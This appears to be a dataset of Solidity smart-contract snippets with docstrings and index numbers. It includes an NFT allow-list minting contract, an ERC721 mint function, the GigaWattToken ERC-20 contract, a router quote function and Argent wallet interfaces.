_allowList[0x6F04833195De49aB7021c76F6C756ffa41CaD262]=true; _allowList[0xa6a15056f8DA65E91776bfcDb831eCA37E067133]=true; _allowList[0x4c6AB491dE3cdE727D931C079348E700EA675472]=true; _allowList[0x6B40459C0974F63987e628E68a6eAdE6a4dEE2c0]=true; _allowList[0x3d21175Ad1A18A262072e825CA9aC9cB962C8E0D]=true; _allowList[0xb83078cA87F43bB9fD7a4A93C0A716Eccb098559]=true; _allowList[0xAf6A78083708cAe7AEAd9C96A1475eB25C671Fbd]=true; _allowList[0xcb7e797c81E402448939d8A0b1427D394cbfE18a]=true; _allowList[0xfEA9B1760505fe0ac6ac48c30Bc81c9D7431f554]=true; _allowList[0xdae2d80e803e7e7bc279309EDE4E039788B4936D]=true; _allowList[0x24FF079523D017AD15636420F37e9013a3E47a08]=true; _allowList[0x6E24AC7A957bA929e48E298c75F6b76D0cDFa901]=true; _allowList[0x09379A0248Fe1EEeC49fBF01Dd4586fAfceB349e]=true; _allowList[0x72a2E41994A242a1d0a536Ce5823142f123204cE]=true; _allowList[0xFd3AA49af3BE98b8d9ac6e676891867bf34137fA]=true; _allowList[0xCE4A546B623c15E92889DF8E77F6601a0Af55008]=true; _allowList[0xf0245B2ef5befe163d77E4cEe8D0242f422209eb]=true; _allowList[0x887F4ae78D3F2219998b75Bc8fC2C9d9673a942a]=true; _allowList[0x73BcBAE654B6239132718e5a3c4B3ceecdED4b4e]=true; _allowList[0x992984C607644B42d4A491f51A0191b0B59F4569]=true; _allowList[0xE9f76e57388Cf5AB613A1671027109188Cf7789C]=true; _allowList[0x54BF374c1a0eb4C52017Cc52Cf1633327EE3E985]=true; _allowList[0x99b14277fd7b21107184f4eDED83254bA573E689]=true; _allowList[0xF140fEf0d5843DC9C7c30aC1Aa46750aaeD5a24F]=true; _allowList[0x1F441c82F5a5dba80CE2D56C993D1f0539ff19B7]=true; _allowList[0x07ea2201512f174b8e020efC8021a163F4143Ee8]=true; _allowList[0xC1CBFD0f49450878C074e3935554002201Db3235]=true; _allowList[0x707a7096D339975De22D1fEf8ff827790C3A1cd1]=true; _allowList[0x94DfE15282C232EF941D53AAEecAD2b7369b46FE]=true; _allowList[0x5f0D42172D2f1dF71224eFFe0161Fa59Dc25F625]=true; _allowList[0x9F286319BE34810f17FdaD364D9CCaefac31407D]=true; _allowList[0xb5dD21026a88770986C3FC676aE0DB6092f63Dde]=true; _allowList[0x3426A6a37cb469273B4e3fA3DaD53BC3A45a8ec3]=true; _allowList[0x70d9f98EA60658fD81Cc54086006E949AEE207F3]=true; _allowList[0xcE3595bcFdf3A901335364f628F58Ccebdd53c4E]=true; _allowList[0x41CFcC63981CD09201A37dF7f515307FBaDf51F8]=true; _allowList[0x64a2aB112Ab608a185A7358e7c3D3ce69D824Ec0]=true; _allowList[0xD5F7818b117193509382E734c9C4EBB517461B9a]=true; _allowList[0x32c6d855ee1ABbcb96Ff7635Fb14F4329C9e45F4]=true; _allowList[0x4D69C8Dc5AF12b9CAE0c4dC0A6440C4C0170aa63]=true; _allowList[0x504f0BAf0810a9A3265BEBe18ee25474800ffc45]=true; _allowList[0xa2F0448f346cE50B9029506c88Dfa58d07bAF880]=true; _allowList[0x2283e3E2820F6DB70eB6FA94Bf2C189652290D25]=true; _allowList[0x836B8145afcB81b995ACaDcFEFeFb2dCd399ae4a]=true; _allowList[0xd2cE4bDDd7CeDAa8B04d5F13b1Ece8f0D09740e9]=true; _allowList[0x75C6F6D54440441cAbcf53ff2Ebe63cD3218099E]=true; _allowList[0x5f08F3e687D907b976e1E24435b093d577982c74]=true; _allowList[0x0ebaB817a620E826732A5E94E1AF8dF100f04dB8]=true; _allowList[0xb7b008b162096fC66dae91fA63f9baf0C8150db8]=true; _allowList[0xD1DC0BCf70362A13F0a5f657f1Ad41A9E203E62c]=true; _allowList[0x049894C74ed994d904Ce34E56c4E45Ce150aF15C]=true; _allowList[0x34db35639EAfe2712aE1F69dfa298b06a5c25053]=true; _allowList[0xC93730E3b7bF06E392CDDe0dD0455A79A8C3Fe55]=true; _allowList[0xFc0048E8FCB0Bc74bEa2DbA777a6c556C1E34a83]=true; _allowList[0xC311d98916960F6DB4D514a47019F9dcb43eba57]=true; _allowList[0x660849eC825B8FE543F79A84A17B58a99C2Bb7fF]=true; _allowList[0x731Ed355833856dC1a004354EF06E6157B657264]=true; _allowList[0x4b47B59c5B8119bB7AfB41361303EF0f1C1D662A]=true; _allowList[0x7b7f11Fd3ef5615F607FF33EA4dFF30774B7b30c]=true; _allowList[0x0ff4A39c460Cd75767C60776d254F7Bf822caa01]=true; _allowList[0xF3b3AB6c4BA3Ec7434e0461Dd801e258A6b93004]=true; _allowList[0xB99ad00Ae0b27d980a4C236C41ED685D2bfe159a]=true; _allowList[0x03756d5B8f9Fb42abb735AeD6126dFb344eBbA43]=true; _allowList[0xf483e340848695aa9A2c78D7AB5758a9faE97d61]=true; _allowList[0x3Ab3F43A2Af6B00c639A4eD5143caf788da68377]=true; _allowList[0xFC0ce11136adc4fdA3c5DCD66f3b4C472aA5FFE4]=true; _allowList[0xC0509a3ce4225410C94029C3834e493B9d7E89F2]=true; _allowList[0x8aEF89129806B23C7930DFdf2B46E22ae1849c49]=true; _allowList[0x7fE1533C2e9AaB11d0e5074274EdC53Eeff8d840]=true; _allowList[0x5299582ba59EA5609BB9950E969f5041d1e01C23]=true; _allowList[0x3330777CC5270dB65E7dF1D738E989DC16Dd49f2]=true; _allowList[0x54BF664369c38785827DBA60Cf5a05d1bc68a0f0]=true; _allowList[0x4939C898da18b0c1E71DC2A42aa545AD228711B5]=true; _allowList[0xB1892b7a383697D10A9419eB132598F3F4bC8dD1]=true; _allowList[0x0e121D0C8c695A18d504714B1f4608b6EDa944a7]=true; _allowList[0xC9b378a35C6C2e9971F74b0A75662Aa664B3F391]=true; _allowList[0xbDf7EcD3938bC86373D15709fE09DcF9Bb677ca7]=true; _allowList[0x145Ca5302130bEcfcAEbA9AD93DE2f4dB4d3A72e]=true; _allowList[0x86ce39cB7f3F68D848F2a867c73Aa080AeAece97]=true; _allowList[0x6885dB8e9e82682e9219F1A3cB46D2B92C68fbD0]=true; _allowList[0x21c62b005e6e8123C33f0008DeBca41ba785F304]=true; _allowList[0x7ECF5D15862074d311c282E2b47aEeEdcFd20376]=true; _allowList[0xD58082F2dFB159670D85634a9a9de505c46a8E2e]=true; _allowList[0xD15d558cb022566CE7C291d1f229420BcA842349]=true; _allowList[0x915fB20645A6EC5285Ef298a93D25Ee787f1a1b2]=true; _allowList[0xCB17C8e39Ec71Ec7d9D0738275Eb0963A9aBC680]=true; _allowList[0x566ED43d3a275C0a6C394933c1a378050623876c]=true; _allowList[0x5C3C8d61AA8555dddCf85F10A792056Bd1bbdfc9]=true; _allowList[0x9f882cB17b6A3F53fE0B65A9B3f73BAc68a22468]=true; _allowList[0x413e81d8F46CD69733F7714cE6F5D6C8f47c5843]=true; _allowList[0x2855E8D5d8DF7009ccC204eAf328ce1a8DaC5441]=true; _allowList[0xCf25264f6d7D2305990872BE968125ed757Deba0]=true; _allowList[0x0D6DE7038B400f610d94E2d04edE9BAeF9d2376E]=true; _allowList[0xa257413252A3A1C367AE443a60d9d5Ea1921dF17]=true; _allowList[0xb261F055621fb3D19b86CD87d499b5aD9a561115]=true; _allowList[0x85eb62F5748E50AaD4584B2bc9e0176fBe247b49]=true; _allowList[0xa163C4210Dc1Cb11ff85EF292eb02345858b88f9]=true; _allowList[0xa45A3692e37089cE1AFEc88921650Cd1f1C2c6bD]=true; _allowList[0x98BB3A3921200017ebd0aF803aeDDD464e70E791]=true; _allowList[0x3e25dac1092031116E2A7d59953dCEC2824A6C6A]=true; _allowList[0xE61350D0b293b0516a83B610EA835C50D83Dca23]=true; _allowList[0x707d27D62411baEcd11f78482A8b3ACF03936f5d]=true; _allowList[0xDD60fC8E5c7bF835AB60437387344a0686924868]=true; _allowList[0xA5D5Daf174E495D1EAfcC18968FdA7c2927AB94C]=true; _allowList[0xDd5B66E6905f83442Bc4eF691aE2fd4f731c1c8C]=true; _allowList[0x19e39B0c71A4D6D2b615Bc4B6F6dc36eE7aeb5d3]=true; _allowList[0xD789b9Ed2092917472fb13bb746858B2F65f1aDA]=true; _allowList[0xc4996857d25e902eBEa251621b758F86D3761C0f]=true; _allowList[0xEb546f8DECE2463b7EE9c5A09BF2F741ec705daA]=true; _allowList[0xdF7bf4Ecd80d836646125794933b0Ae128F724Dd]=true; _allowList[0xe45432CcDC6b2B2674bB1657f9f566c9b400e7ac]=true; _allowList[0xa7bce13c268c132eAfA61633827B872a248Cb352]=true; _allowList[0x3a017854138C5f9b85b0457b832151B28213b6E6]=true; _allowList[0xDdE7b1103d7Bb19982ef9c6d9a348a0C0ea7e132]=true; _allowList[0x7c17D8dfCfC5672df200acfFe41FcD5c81252566]=true; _allowList[0x802720F980e5f9bD7358Ad0bd9caA272d0173E00]=true; _allowList[0xd02840d5853fCddD802cc957D00b7Df04a63ee5e]=true; _allowList[0xA3264a6B18b0e43DA9C7C235B5434294C2f9B10D]=true; _allowList[0xb822714d379aA6C0FDb7aefDEdCeB7616f83680b]=true; _allowList[0x973a2acE28745ce4715659C60Ef70B9E4c044086]=true; _allowList[0x4e9CFd9dc692565e61E157e1F61339D869381B50]=true; _allowList[0x67BF9615891Ea8879903858D8AFe56c980CE0962]=true; _allowList[0x791BdbC87f3eaFD6341bBFa54173ab8d81C6aA58]=true; _allowList[0x30E9Bd42A34059E59613d80E35FC8FE45861Be33]=true; _allowList[0x2e8D1eAd7Ba51e04c2A8ec40a8A3eD49CC4E1ceF]=true; _allowList[0x5Add76ACC48e1BB1a434da15d32d4a6734869430]=true; _allowList[0x4a5c27fc6d10e8A0feC4F2D504eD5bd05b4A4c4F]=true; _allowList[0x0E68ec6237f1294335647012B678E385f9dF3C22]=true; _allowList[0xE5AE91c6267f22D1F5AA50aC953025a7A36ed36B]=true; _allowList[0x040b104d7Cb4557EBaEf0122a4b8cbC073f1a021]=true; _allowList[0xBBE30cDe30a4b7f56602D72a2EDd9b6E61c424d3]=true; _allowList[0xda1B25a4bD1ae5380FdAEf207dc3a5999C5D8B80]=true; _allowList[0x2ec970270130EdbA7D9B1f0f7cE7DFb3d1f6Cf6a]=true; _allowList[0x91Bb0008b406ddfd9c5F66655d2AF77FbE7C99B7]=true; _allowList[0x4aEb7ea57E3f83d620FefCe39F27D79668e40aA2]=true; _allowList[0x5c5F1Fc018D9989D1F617f1cCEc6c2Da0e6ca06A]=true; _allowList[0xED9f922304a7bc4CD1f1C3611060D8486Fbd7c4b]=true; _allowList[0x413eE671f3351f54CDeC60BFabfFca7E7E5A32f7]=true; _allowList[0xC938100605505290fe55fEf5901626f12Ed45700]=true; _allowList[0xe60253102546CE672E550F0b537e3FEe3fE3B6c5]=true; _allowList[0x029Cb4D9566ef3B9E277C2E5887cE2C891D04EeD]=true; _allowList[0xf8817128624eA0Ca15400dEE922D81121c9B9839]=true; _allowList[0xe5f2f34BF34A74384EA09005818A74B953B15359]=true; _allowList[0x443bd36Fa4BbeD299173911b6E51c4f08Eb99C8F]=true; _allowList[0x0B4AE84E396aEe628C562449Bc6d49968c1E1AEf]=true; _allowList[0x059360DbE7aC512675CDdD37414C8083A6E2eD0F]=true; _allowList[0x397725CD38e28C497bB4A6862cbEBe69e7A922cD]=true; _allowList[0xf70EB1ab344d8066c4f74b125B7ab1e2404914E1]=true; _allowList[0xE6dc0034eDD9126dA7e0c5a398D8E7dC71171Fea]=true; _allowList[0x13AbB285529729ED8ACeCFf3Da52351e991F650e]=true; _allowList[0x8D35625c3D457bC03fF8AE2EC48FB023ffb05b3A]=true; _allowList[0xF75a7D7cC5991630FB44EAA74D938bd28e35E87E]=true; _allowList[0x93D020b0C5158939274235EE9E670eDb9612726e]=true; _allowList[0x44532990EaFfD73dbB2086b2a4124455bD7F1bC7]=true; _allowList[0x13aeA819C2b5f3bd409A6A7612A0C7A414Fc02F5]=true; _allowList[0x626CE14BD71d7f3B9AC33966AAa7611A4f5cBd2a]=true; _allowList[0x2829d75963e0f9475c31E8Dd014152b3AD2efC6b]=true; _allowList[0xEA6F17757172B189342852744D17577408d0f6af]=true; _allowList[0xf181C6E3EFD05F7C90453C090d4700e26b5371C1]=true; _allowList[0xB237b9bde8BF11F30dE1cC2d83599A584D86d05c]=true; _allowList[0x08c3d4a4fE4e28F4ea0402fcCF35D5B81E8f1EC8]=true; _allowList[0xEa302cF778a1186843Ae10689695349f5388E0D9]=true; _allowList[0x0F8176c597aA2136b54bCA3F10e098c668fA2CcB]=true; _allowList[0x99B937DB7E11f1Abe6ee1795317912BE46E20140]=true; _allowList[0x45da9dD8b42145F8B02F928365970bDE51Df17Eb]=true; _allowList[0x544b7df6e96b6c5b3C78efe0bD05Fba68a878828]=true; _allowList[0xbEBbBf96F42a744d11A0Ed3F6b6372a900DbB793]=true; } function setActive(bool isActive) external onlyOwner { _isActive = isActive; } function setContractURI(string memory URI) external onlyOwner { _contractURI = URI; } function setBaseURI(string memory URI) external onlyOwner { _tokenBaseURI = URI; } // minting function minting(address to, uint256 numberOfTokens) external payable onlyOwner { require( _publicLETTERS.current() < 1000, "Purchase would exceed LETTERS_PUBLIC" ); for (uint256 i = 0; i < numberOfTokens; i++) { uint256 tokenId = _publicLETTERS.current(); if (_publicLETTERS.current() < LETTERS_PUBLIC) { _publicLETTERS.increment(); _safeMint(to, tokenId); } } } function setIsAllowListActive(bool _isAllowListActive) external onlyOwner { isAllowListActive = _isAllowListActive; } function setAllowListMaxMint(uint256 maxMint) external onlyOwner { allowListMaxMint = maxMint; } function addToAllowList(address[] calldata addresses) external onlyOwner { for (uint256 i = 0; i < addresses.length; i++) { require(addresses[i] != address(0), "Can't add the null address"); _allowList[addresses[i]] = true; /** * @dev We don't want to reset _allowListClaimed count * if we try to add someone more than once. */ _allowListClaimed[addresses[i]] > 0 ? _allowListClaimed[addresses[i]] : 0; } } function allowListClaimedBy(address owner) external view returns (uint256){ require(owner != address(0), 'Zero address not on Allow List'); return _allowListClaimed[owner]; } function onAllowList(address addr) external view returns (bool) { return _allowList[addr]; } function removeFromAllowList(address[] calldata addresses) external onlyOwner { for (uint256 i = 0; i < addresses.length; i++) { require(addresses[i] != address(0), "Can't add the null address"); /// @dev We don't want to reset possible _allowListClaimed numbers. _allowList[addresses[i]] = false; } } function purchaseAllowList(uint256 numberOfTokens) external payable { require( numberOfTokens <= PURCHASE_LIMIT, "Can only mint up to 1 token" ); require( balanceOf(msg.sender) < 1, 'Each address may only have 1 Letter' ); require(isAllowListActive, 'Allow List is not active'); require(_allowList[msg.sender], 'You are not on the Allow List'); require( _publicLETTERS.current() < LETTERS_PUBLIC, "Purchase would exceed max" ); require(numberOfTokens <= allowListMaxMint, 'Cannot purchase this many tokens'); require(_allowListClaimed[msg.sender] + numberOfTokens <= allowListMaxMint, 'Purchase exceeds max allowed'); require(PRICE * numberOfTokens <= msg.value, 'ETH amount is not sufficient'); require( _publicLETTERS.current() < LETTERS_PUBLIC, "Purchase would exceed LETTERS_PUBLIC" ); for (uint256 i = 0; i < numberOfTokens; i++) { uint256 tokenId = _publicLETTERS.current(); if (_publicLETTERS.current() < LETTERS_PUBLIC) { _publicLETTERS.increment(); _safeMint(msg.sender, tokenId); } } } function purchase(uint256 numberOfTokens) external payable { require(_isActive, "Contract is not active"); require( balanceOf(msg.sender) < 1, 'Each address may only have 1 Letter' ); require( numberOfTokens <= PURCHASE_LIMIT, "Can only mint up to 1 token" ); require( _publicLETTERS.current() < LETTERS_PUBLIC, "Purchase would exceed LETTERS_PUBLIC" ); require( PRICE * numberOfTokens <= msg.value, "ETH amount is not sufficient" ); for (uint256 i = 0; i < numberOfTokens; i++) { uint256 tokenId = _publicLETTERS.current(); if (_publicLETTERS.current() < LETTERS_PUBLIC) { _publicLETTERS.increment(); _safeMint(msg.sender, tokenId); } } } function contractURI() public view returns (string memory) { return _contractURI; } function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) { require(_exists(tokenId), "Token does not exist"); return string(abi.encodePacked(_tokenBaseURI, tokenId.toString())); } function withdraw() external onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } }
Mints `tokenId` and transfers it to `to`. WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible Requirements: - `tokenId` must not exist. - `to` cannot be the zero address. Emits a {Transfer} event./
function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); }
2,231,200
//Address: 0x84119cb33e8f590d75c2d6ea4e6b0741a7494eda //Contract name: GigaWattToken //Balance: 0 Ether //Verification Date: 8/10/2017 //Transacion Count: 13493 // CODE STARTS HERE /* * Giga Watt Token Smart Contract. Copyright © 2016 by ABDK Consulting. * Author: Mikhail Vladimirov <[email protected]> */ pragma solidity ^0.4.1; /** * ERC-20 standard token interface, as defined * <a href="http://github.com/ethereum/EIPs/issues/20">here</a>. */ contract Token { /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply () constant returns (uint256 supply); /** * Get number of tokens currently belonging to given owner. * * @param _owner address to get number of tokens currently belonging to the owner of * @return number of tokens currently belonging to the owner of given address */ function balanceOf (address _owner) constant returns (uint256 balance); /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens from the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer (address _to, uint256 _value) returns (bool success); /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom (address _from, address _to, uint256 _value) returns (bool success); /** * Allow given spender to transfer given number of tokens from message sender. * * @param _spender address to allow the owner of to transfer tokens from message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success); /** * Tell how many tokens given spender is currently allowed to transfer from * given owner. * * @param _owner address to get number of tokens allowed to be transferred * from the owner of * @param _spender address to get number of tokens allowed to be transferred * by the owner of * @return number of tokens given spender is currently allowed to transfer * from given owner */ function allowance (address _owner, address _spender) constant returns (uint256 remaining); /** * Logged when tokens were transferred from one owner to another. * * @param _from address of the owner, tokens were transferred from * @param _to address of the owner, tokens were transferred to * @param _value number of tokens transferred */ event Transfer (address indexed _from, address indexed _to, uint256 _value); /** * Logged when owner approved his tokens to be transferred by some spender. * * @param _owner owner who approved his tokens to be transferred * @param _spender spender who were allowed to transfer the tokens belonging * to the owner * @param _value number of tokens belonging to the owner, approved to be * transferred by the spender */ event Approval ( address indexed _owner, address indexed _spender, uint256 _value); } /** * Provides methods to safely add, subtract and multiply uint256 numbers. */ contract SafeMath { uint256 constant private MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; /** * Add two uint256 values, throw in case of overflow. * * @param x first value to add * @param y second value to add * @return x + y */ function safeAdd (uint256 x, uint256 y) constant internal returns (uint256 z) { if (x > MAX_UINT256 - y) throw; return x + y; } /** * Subtract one uint256 value from another, throw in case of underflow. * * @param x value to subtract from * @param y value to subtract * @return x - y */ function safeSub (uint256 x, uint256 y) constant internal returns (uint256 z) { if (x < y) throw; return x - y; } /** * Multiply two uint256 values, throw in case of overflow. * * @param x first value to multiply * @param y second value to multiply * @return x * y */ function safeMul (uint256 x, uint256 y) constant internal returns (uint256 z) { if (y == 0) return 0; // Prevent division by zero at the next line if (x > MAX_UINT256 / y) throw; return x * y; } } /** * Abstract base contract for contracts implementing Token interface. */ contract AbstractToken is Token, SafeMath { /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply () constant returns (uint256 supply) { return tokensCount; } /** * Get number of tokens currently belonging to given owner. * * @param _owner address to get number of tokens currently belonging to the owner of * @return number of tokens currently belonging to the owner of given address */ function balanceOf (address _owner) constant returns (uint256 balance) { return accounts [_owner]; } /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens from the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer (address _to, uint256 _value) returns (bool success) { return doTransfer (msg.sender, _to, _value); } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom (address _from, address _to, uint256 _value) returns (bool success) { if (_value > approved [_from][msg.sender]) return false; if (doTransfer (_from, _to, _value)) { approved [_from][msg.sender] = safeSub (approved[_from][msg.sender], _value); return true; } else return false; } /** * Allow given spender to transfer given number of tokens from message sender. * * @param _spender address to allow the owner of to transfer tokens from message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { approved [msg.sender][_spender] = _value; Approval (msg.sender, _spender, _value); return true; } /** * Tell how many tokens given spender is currently allowed to transfer from * given owner. * * @param _owner address to get number of tokens allowed to be transferred * from the owner of * @param _spender address to get number of tokens allowed to be transferred * by the owner of * @return number of tokens given spender is currently allowed to transfer * from given owner */ function allowance (address _owner, address _spender) constant returns (uint256 remaining) { return approved [_owner][_spender]; } /** * Create given number of new tokens and give them to given owner. * * @param _owner address to given new created tokens to the owner of * @param _value number of new tokens to create */ function createTokens (address _owner, uint256 _value) internal { if (_value > 0) { accounts [_owner] = safeAdd (accounts [_owner], _value); tokensCount = safeAdd (tokensCount, _value); } } /** * Perform token transfer. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to to the owner of * @param _value number of tokens to transfer * @return true if tokens were transferred successfully, false otherwise */ function doTransfer (address _from, address _to, uint256 _value) private returns (bool success) { if (_value > accounts [_from]) return false; if (_value > 0 && _from != _to) { accounts [_from] = safeSub (accounts [_from], _value); accounts [_to] = safeAdd (accounts [_to], _value); Transfer (_from, _to, _value); } return true; } /** * Total number of tokens in circulation. */ uint256 tokensCount; /** * Maps addresses of token owners to states of their accounts. */ mapping (address => uint256) accounts; /** * Maps addresses of token owners to mappings from addresses of spenders to * how many tokens belonging to the owner, the spender is currently allowed to * transfer. */ mapping (address => mapping (address => uint256)) approved; } /** * Standard Token smart contract that provides the following features: * <ol> * <li>Centralized creation of new tokens</li> * <li>Freeze/unfreeze token transfers</li> * <li>Change owner</li> * </ol> */ contract StandardToken is AbstractToken { /** * Maximum allowed tokens in circulation (2^64 - 1). */ uint256 constant private MAX_TOKENS = 0xFFFFFFFFFFFFFFFF; /** * Address of the owner of the contract. */ address owner; /** * Whether transfers are currently frozen. */ bool frozen; /** * Instantiate the contract and make the message sender to be the owner. */ function StandardToken () { owner = msg.sender; } /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens from the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer (address _to, uint256 _value) returns (bool success) { if (frozen) return false; else return AbstractToken.transfer (_to, _value); } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom (address _from, address _to, uint256 _value) returns (bool success) { if (frozen) return false; else return AbstractToken.transferFrom (_from, _to, _value); } /** * Create certain number of new tokens and give them to the owner of the * contract. * * @param _value number of new tokens to create * @return true if tokens were created successfully, false otherwise */ function createTokens (uint256 _value) returns (bool success) { if (msg.sender != owner) throw; if (_value > MAX_TOKENS - totalSupply ()) return false; AbstractToken.createTokens (owner, _value); return true; } /** * Freeze token transfers. */ function freezeTransfers () { if (msg.sender != owner) throw; if (!frozen) { frozen = true; Freeze (); } } /** * Unfreeze token transfers. */ function unfreezeTransfers () { if (msg.sender != owner) throw; if (frozen) { frozen = false; Unfreeze (); } } /** * Set new owner address. * * @param _newOwner new owner address */ function setOwner (address _newOwner) { if (msg.sender != owner) throw; owner = _newOwner; } /** * Logged when token transfers were freezed. */ event Freeze (); /** * Logged when token transfers were unfreezed. */ event Unfreeze (); } /** * Giga Watt Token Smart Contract. */ contract GigaWattToken is StandardToken { /** * Constructor just calls constructor of parent contract. */ function GigaWattToken () StandardToken () { // Do nothing } }
return true if tokens were transferred successfully, false otherwise/
function transferFrom (address _from, address _to, uint256 _value) returns (bool success) { if (_value > approved [_from][msg.sender]) return false; if (doTransfer (_from, _to, _value)) { approved [_from][msg.sender] = safeSub (approved[_from][msg.sender], _value); return true; } else return false; }
5,503,186
./partial_match/8453/0x15879074Bd6c89a8a5d88A7Be08fEfb174a54511/sources/ZKWRouterV2.sol
LIBRARY FUNCTIONS
function quote(uint amountA, uint reserveA, uint reserveB) public pure virtual override returns (uint amountB) { return ZKWLibrary.quote(amountA, reserveA, reserveB); }
16,794,095
// Copyright (C) 2021 Argent Labs Ltd. <https://argent.xyz> // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.3; interface IAuthoriser { function isAuthorised(address _sender, address _spender, address _to, bytes calldata _data) external view returns (bool); function areAuthorised( address _spender, address[] calldata _spenders, address[] calldata _to, bytes[] calldata _data ) external view returns (bool); } // Copyright (C) 2020 Argent Labs Ltd. <https://argent.xyz> // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity >=0.5.4 <0.9.0; /** * @title IModuleRegistry * @notice Interface for the registry of authorised modules. */ interface IModuleRegistry { function registerModule(address _module, bytes32 _name) external; function deregisterModule(address _module) external; function registerUpgrader(address _upgrader, bytes32 _name) external; function deregisterUpgrader(address _upgrader) external; function recoverToken(address _token) external; function moduleInfo(address _module) external view returns (bytes32); function upgraderInfo(address _upgrader) external view returns (bytes32); function isRegisteredModule(address _module) external view returns (bool); function isRegisteredModule(address[] calldata _modules) external view returns (bool); function isRegisteredUpgrader(address _upgrader) external view returns (bool); } // Copyright (C) 2018 Argent Labs Ltd. <https://argent.xyz> // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity >=0.5.4 <0.9.0; interface IGuardianStorage { /** * @notice Lets an authorised module add a guardian to a wallet. * @param _wallet The target wallet. * @param _guardian The guardian to add. */ function addGuardian(address _wallet, address _guardian) external; /** * @notice Lets an authorised module revoke a guardian from a wallet. * @param _wallet The target wallet. * @param _guardian The guardian to revoke. */ function revokeGuardian(address _wallet, address _guardian) external; /** * @notice Checks if an account is a guardian for a wallet. * @param _wallet The target wallet. * @param _guardian The account. * @return true if the account is a guardian for a wallet. */ function isGuardian(address _wallet, address _guardian) external view returns (bool); function isLocked(address _wallet) external view returns (bool); function getLock(address _wallet) external view returns (uint256); function getLocker(address _wallet) external view returns (address); function setLock(address _wallet, uint256 _releaseAfter) external; function getGuardians(address _wallet) external view returns (address[] memory); function guardianCount(address _wallet) external view returns (uint256); } // Copyright (C) 2020 Argent Labs Ltd. <https://argent.xyz> // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity >=0.5.4 <0.9.0; /** * @title ITransferStorage * @notice TransferStorage interface */ interface ITransferStorage { function setWhitelist(address _wallet, address _target, uint256 _value) external; function getWhitelist(address _wallet, address _target) external view returns (uint256); } // Copyright (C) 2021 Argent Labs Ltd. <https://argent.xyz> // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.3; import "./common/Utils.sol"; import "./common/BaseModule.sol"; import "./RelayerManager.sol"; import "./SecurityManager.sol"; import "./TransactionManager.sol"; /** * @title ArgentModule * @notice Single module for the Argent wallet. * @author Julien Niset - <[email protected]> 